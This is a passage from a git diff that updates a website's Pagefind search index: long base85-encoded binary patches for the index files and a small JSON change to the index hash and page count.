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 literal 0 HcmV?d00001 diff --git a/pagefind/pagefind-entry.json b/pagefind/pagefind-entry.json index 6c89d716..6309cfb8 100644 --- a/pagefind/pagefind-entry.json +++ b/pagefind/pagefind-entry.json @@ -1 +1 @@ -{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_3cbf2253331fd","wasm":"en-us","page_count":59}}} \ No newline at end of file +{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_56fbca3d5e149","wasm":"en-us","page_count":56}}} \ No newline at end of file diff --git a/pagefind/pagefind.en-us_3cbf2253331fd.pf_meta b/pagefind/pagefind.en-us_3cbf2253331fd.pf_meta deleted file mode 100644 index 00216bd79a9c81d0970e5e572fe24d8a900047cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L(|iwFP!00002|4oxkY862c$C-IAitfaPQyVWJ#_pc}MDY%uAaqw%$3PMT zNp#^R_|P+C7x#kb(v=8$2gMTzA_^i1F6=D2US|1&>8k%n9pr7UJNvXnNY7bss?GWI z?z27KzkPhTWsOlO@T5BkDp9p=`rARuT(j{otUB>NSXKn%rA`X5c8OqEb`m3NQVipl zPDp1WU19js3C|%1$FTg-iOD`>kFfaEi8e@q6b$lCK~|9rEL101IW{%G_`Q?4CSQ|= z@w({59OqJDaZPk3la)y@UXi~z#(-gZDPB<0SzB2A?gWij&N&!whzR4Nb~wG0Ng7L; zH4Izwu1_j@56cI#F~yXz>D(1hL;Gfg;c+J}HBYUF@w2#t#%kqZ!^v>Zy4nnbm06`| z&KAaR>y??So?(0?vNT4{5k``ILh?>kxVj-LwOLnpZqFOB5Nj%_O#jv= z(eku2T)uEN1x=VIv4S<)LJqF3FI1r^=O(|F{kUCz@YDMjtE{l_QFnwq+2B?UJt=iZ zc26k=USZuSxSRK7xuR0?tA-Bf;L%}!#F6o{i7P&5j7JYy?$D}=X+;ec`gwNxwrkL& R=NwK>{saD;u-U-`004)pHF*F4 diff --git a/pagefind/pagefind.en-us_56fbca3d5e149.pf_meta b/pagefind/pagefind.en-us_56fbca3d5e149.pf_meta new file mode 100644 index 0000000000000000000000000000000000000000..25daeb3c376e353580059428833f12a97bb68aea GIT binary patch literal 618 zcmV-w0+szAiwFP!00002|4o!nYE(fG#+f%0MR(%DR~s)NYInc>3*sF-LFn$P3V}=v zF>&K2_|P+C7x!*-=}H8>gTWIBDheV9F6@Y1$t-_#Rej%AHE%C(5pVC}CRTh#`i{CY z9ml6@+P!`FXwwn04Ssyvfi*^@K%?#ebw<<-i(j2grD)0)hR>aZR3=IVhIgG*}{~w6h+DkDVA* z(d7uswR8^2JH>EyL#*o>sl6Fc^u&lRw0ItOqD{qs3Kpm0y*&ywj4wnE*=Ds#z9+-8 z57{^JK?EwxK^a(%(#9thy@%C<^G&3725$T<&L`u;S*AavaWKuM9ly$k1FM+YYD93s z7DYl>NbCWV&f3EAXD2Erul)qWp;T2;5t}~Mi4W~J)eBK%<*cOut0%J1WU?{|hAW*g zg;EQjd#HwpbsP0kGBz%1SI0LpDFzNr-)c*aspdG9=IWXhdD3j#%IyU;WZGE_U&KR6 zuD07Ar1KPuiKz`gkpQc)T6x%T=O-9)a0IJwqNg1ksTTVsnN>NJRK`DIlaalNuyI+6 ztaE|dEwOAbl14=^oIankqH?&sgZ&zqWBWhP{0~y)hx>9%QBB3n*ihbD=iT<%=v66Z z9Tm_2@f!E(fV!Yc)n=a0*d8A2Z?C((L|iz{XY2sKpB%sL*=TH=Fh@s!0l6h6NSXuy E0FFZ<2LJ#7 literal 0 HcmV?d00001 diff --git a/post/2-afternoons-2-languages-2-tuis/index.html b/post/2-afternoons-2-languages-2-tuis/index.html index c4a8fc5f..637cbe08 100644 --- a/post/2-afternoons-2-languages-2-tuis/index.html +++ b/post/2-afternoons-2-languages-2-tuis/index.html @@ -63,4 +63,4 @@ and the Rust project here.

    9Xb^;GO1eGJ#~ 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 